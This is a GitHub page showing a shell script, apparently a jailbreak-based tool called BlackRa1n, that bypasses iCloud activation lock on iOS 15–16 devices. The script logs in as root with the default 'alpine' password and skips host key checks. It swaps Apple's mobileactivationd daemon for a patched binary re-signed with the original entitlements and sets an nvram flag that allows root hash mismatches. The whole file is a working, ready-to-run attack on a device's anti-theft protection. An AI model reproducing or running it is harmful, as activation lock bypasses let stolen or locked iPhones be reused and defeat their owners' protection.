-
Notifications
You must be signed in to change notification settings - Fork 29
/
br_bypass.sh
executable file
·102 lines (79 loc) · 4.8 KB
/
br_bypass.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# @ios_euphoria BlackRa1n
# iOS 15.X-16 iCloud Bypass
if ! which curl >> /dev/null; then
echo "Error: curl not found"
exit 1
fi
if ! which iproxy >> /dev/null; then
echo "Error: iproxy not found"
exit 1
fi
#stop asking me if i want to fucking save the damn key
rm -rf ~/.ssh/known_hosts
clear
# Change the current working directory
cd "`dirname "$0"`"
# Check for Homebrew, install if we don't have it
if test ! $(which brew); then
echo "Installing homebrew..."
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" > /dev/null 2>&1
echo ''
fi
# Check for sshpass, install if we don't have it
if test ! $(which sshpass); then
echo "Installing sshpass..."
brew install esolitos/ipa/sshpass > /dev/null 2>&1
echo ''
fi
# Check for iproxy, install if we don't have it
if test ! $(which iproxy); then
echo "Installing iproxy..."
brew install libimobiledevice > /dev/null 2>&1
echo ''
fi
echo 'Starting iproxy...'
killall iproxy
idevicepair pair
iproxy 2222:22 > /dev/null 2>&1 &
echo ""
echo "
▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▀███ ▄▄▄ ██▓ ███▄ █
▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██ ▒ ██▒▒████▄ ▓██▒ ██ ▀█ █
▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▓██ ░▄█ ▒▒██ ▀█▄ ▒██▒▓██ ▀█ ██▒
▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒██▀▀█▄ ░██▄▄▄▄██ ░██░▓██▒ ▐▌██▒
░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██▓ ▒██▒ ▓█ ▓██▒░██░▒██░ ▓██░
░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▓ ░ ▒░ ▒ ▒
▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░ ▒ ░░ ░░ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ░░ ░ ░ ▒ ▒ ░ ░ ░ ░
░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
"
echo ""
echo "MAKE IT RAIN!!!"
sleep 2
echo 'Mounting filesystem as read-write'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'mount_filesystems'
echo 'Running iOS 15-16 iCloud Bypass...'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'mv -v /mnt1/usr/libexec/mobileactivationd /mnt1/usr/libexec/mobileactivationdBackup'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'ldid -e /mnt1/usr/libexec/mobileactivationdBackup > /mnt1/usr/libexec/mob.plist'
#upload new mobileactivationd
sshpass -p 'alpine' scp -rP 2222 -o StrictHostKeyChecking=no ./mobileactivationd_iOS15 root@localhost:/mnt1/usr/libexec/mobileactivationd
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'chmod 755 /mnt1/usr/libexec/mobileactivationd'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'ldid -S/mnt1/usr/libexec/mob.plist /mnt1/usr/libexec/mobileactivationd'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 'rm -v /mnt1/usr/libexec/mob.plist'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 '/usr/sbin/nvram allow-root-hash-mismatch=1'
#UPDATE BY EUPHORIA work-in-proress for FaceTime enabler! hehe if you found this, message me <3 @ios_euphoria on twitter
#echo "Pushing new data_ark.plist..."
#sshpass -p 'alpine' scp -rP 2222 -o StrictHostKeyChecking=no ./uploadAFTER_ACTIVATION/data_ark.plist root@localhost:/var/root/Library/Lockdown/data_ark.plist
#sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -p 2222 "root@localhost" 'chmod 755 /var/root/Library/Lockdown/data_ark.plist'
#sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -p 2222 "root@localhost" 'chflags uchg /var/root/Library/Lockdown/data_ark.plist'
#echo "Euphoria patch made!"
echo 'iCloud Files Modified!'
echo 'Telling device to boot...'
sshpass -p 'alpine' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@localhost -p2222 /sbin/reboot
echo 'Device is now booting...'
sleep 2
# Kill iproxy
kill %1 > /dev/null 2>&1
echo 'BlackRa1n Done!'
echo ''